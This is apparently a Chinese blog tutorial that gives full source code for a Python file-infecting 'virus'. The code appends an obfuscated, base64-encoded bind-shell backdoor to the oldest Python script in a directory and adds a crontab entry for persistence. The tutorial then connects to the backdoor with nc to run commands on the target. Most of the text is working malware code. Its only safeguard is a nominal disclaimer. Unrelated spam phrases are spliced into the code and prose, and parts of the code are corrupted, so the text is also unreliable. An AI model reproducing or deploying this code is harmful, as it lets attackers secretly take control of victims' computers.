⼿写⼀个Python“病毒“
今天的⽂章来展⽰⼀个 Python “病毒”,它感染其他 Python ⽂件来创建⼀个后门。后门利⽤ Python 的内置 socket 模块来创建⼀个,⽤来连接到 Python 的内置⼦进程模块,从⽽靶机上执⾏命令,同时还通过创建⼀个 cronjob 来建⽴持久性,以在每天固定的时间运⾏后门。最终完整的 Python 脚本包含在本⽂末尾。
注意:请不要将本⽂中提供的 Python 脚本⽤于恶意⽬的。虽然它不先进,但经过⼀些修改,它可以让完全控制某⼈的计算机。本⽂的主要⽬的是通过这些脚本,更好地了解⿊客如何获取正常程序并使它们成为恶意程序。
话不多说,让我们开始吧。
1. 建⽴通信
任何后门最重要的部分都是建⽴通信。现在,让我们为后门访问编写⼀段代码。通过 TCP 连接到靶机,我们使⽤套接字模块监听⿊客的连接请求。在 socket 模块中,有⼀个函数也称为 socket,我们可以使⽤它来创建 TCP 或 UDP 套接字。使⽤ socket.socket 函数创建套接字时,我们需要提供两个参数来指定我们要使⽤的 IP 版本和第 4 层协议。在这个 Python 脚本中,我们将传⼊以下参数:
socket.AF_INET 和 socket.SOCK_STREAM。
AF_INET : 指定 IPv4
SOCK_STREAM :指定 TCP ⽽不是 UDP。
socket.socket 函数返回⼀个对象,该对象由最终确定正在创建的套接字是侦听套接字(服务器)还是连接套接字(客户端)的⽅法组成。要创建侦听套接字,需要使⽤以下⽅法:
bind > 将 IP 地址和端⼝绑定到⽹络接⼝
listen > 指⽰我们的套接字开始监听传⼊的连接
accept > 接受传⼊连接
recv > 从连接的客户端接收数据
send > 向连接的客户端发送数据
然⽽,最重要的⽅法是 recv 和 send。recv ⽅法会接收来⾃攻击者的命令,使⽤ subproces.run 函数在受害者的系统上执⾏它们,然后将执⾏命令的标准输出重定向到与攻击者建⽴的 TCP 连接。下⾯是
Python 代码:activities怎么记忆
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import run, PIPE
from os import _exit
def serve():
with socket(AF_INET, SOCK_STREAM) as soc:
# [*] The obfuscated values are just the IP address and port to bind to
soc.bind((ip, 端⼝))
soc.listen(5)
while True:
conn, _ = soc.accept()
while True:
cmd = v(1024).decode("utf-8").strip()
cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
if urncode == 0:
conn.send(bytes(cmd_output.stdout))
else:
continue
serve()
2. 感染⽬标 Python ⽂件
这段程序通过遍历指定⽬录(最好是⽤户的主⽬录)并查修改时间最早的 Python 脚本。这⾥是测试,因此不是感染所有 Python ⽂件,⽽仅感染修改时间最早的⽂件。感染⼀个 Python ⽂件对于控制靶机来说已经够了。
def MTRkYmNubWx(self):
YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\"
for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
form的action传什么if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
continue
eHhtbG1vZGF0 = stat(f).st_mtime
ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
if not self.Z2hhenh4ZGwK:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
上述代码的部分变量使⽤了混淆,让⼈不易看懂,其实很简单,就是使⽤ os 模块中定义的 walk 和 stat 函数来遍历⽬录⽂件并获取它们的修改时间。获得的每个⽂件的修改时间被转换为 datetime.datetime 对象,以便我们可以使⽤ > < 和 == 等运算符轻松⽐较⽇期。在这个函数的最后,选定的⽬标 Python ⽂件名被传递到将后门服务器代码注⼊其中的函数。
3. 通过 crontab 任务来持久化
这个 Python 后门的最后⼀个函数使⽤ subprocess.run 函数来调⽤⼀个 Linux shell 命令,该命令将在当前⽤户的 crontab ⽂件中创建⼀个条⽬。此条⽬指定计划的 cronjob 应在每天 14:00 定时运⾏。添加 crontab 对应的 shell 命令如下:
echo '00 14 * * * file_name | crontab -
4. 最终的完整代码
#!/usr/bin/env python3
from os.path import expanduser
from os import walk, stat
from sys import path
from glob import glob
from platform import system
from base64 import b64encode, b64decode
from subprocess import run, PIPE
from datetime import datetime
class eHhjemR5eXB:
def __init__(self, cHlkYWNhZWFpa):resizable英语怎么读
self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
self.bGpqZ2hjen = system()
self.aWFmYXRye = "0.0.0.0"
self.ZmFsa2p0aGM = 0x401
self.Z2hhenh4ZGwK = None
def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
YWxmanRob += b"\nfrom subprocess import run, PIPE"
YWxmanRob += b"\ndef serve():"
YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
javaYWxmanRob += bytes(
f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
)
YWxmanRob += b"\n\t\tsoc.listen(5)"
YWxmanRob += b"\n\t\twhile True:"
YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
YWxmanRob += b"\n\t\t\twhile True:"
YWxmanRob += b'\n\t\t\t\tcmd = v(1024).decode("utf-8").strip()'
YWxmanRob += (
b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
)
YWxmanRob += b"\n\t\t\t\tif urncode == 0:"
YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
YWxmanRob += b"\n\t\t\t\telse: continue"
YWxmanRob += b"\n\t\t\t\telse: continue"
unicode字符集和字符编码
YWxmanRob += b"\nserve()"
YWxmanRob_base64 = b64encode(YWxmanRob)
cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
cXBxZXJjYQ += 'exec(a2b_base64('{}'))" &""",shell=True)'.format(
YWxmanRob_base64.decode()
)
with open(dGR6eGFteXBxC, "a") as f:
f.write(cXBxZXJjYQ)
self.ZmFsa2p0aGM += 1
def MTRkYmNubWx(self):
YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\"
for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
continue
eHhtbG1vZGF0 = stat(f).st_mtime
ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
if not self.Z2hhenh4ZGwK:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
def YWZhdGhjCg(self):
if self.bGpqZ2hjen == "Linux":
run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
if __name__ == "__main__":
# For traversing the user's home directory
# aGdsZGFx = expanduser('~')
# YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
YmNjLGFka2x = eHhjemR5eXB("./test")
YmNjLGFka2x.MTRkYmNubWx()
YmNjLGFka2x.YWZhdGhjCg()
在靶机执⾏该代码后,会感染 ./test ⽬录中最早修改的⽂件(⽬标⽂件),会⾃动在⽬标⽂件的最后添加这两⾏代码:
python基础代码大全黑客from subprocess import run
run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU 0KZnJvbSBzdWJwcm9jZXNzIGltcG
是不是⾮常隐蔽?
5. 访问后门
为了测试,我们⼿动执⾏下感染的⽂件,⽽不是等待 crontab。
~ # crontab -l
37 13 * * * /root/transferfile/transfile_interface.py
~ # cd transferfile/
~/transferfile # python transfile_interface.py
~/transferfile #
程序正常结束,没有任何异常。然后使⽤ nc localhost 1025 来反弹⼀个 shell,在这⾥执⾏ ls, whoami 就是靶机的信息了:
这⾥演⽰的 localhost 即为靶机,真实场景下就是靶机的 ip 地址。现在靶机已经完全被控制了,⽽受害者完全不知情。
6. 最后的话
现在,你已经学习了如何使⽤ Python 编程语⾔创建持久性后门,学习了如何使⽤ Python 的 socket
模块、如何遍历⽬录以及如何创建crontab 任务。如果要感染真实靶机,还要学会如何分发这个后门程序,这⾥不做探讨。
如果有收获,还请点赞、在看、转发,感谢你的阅读和⽀持。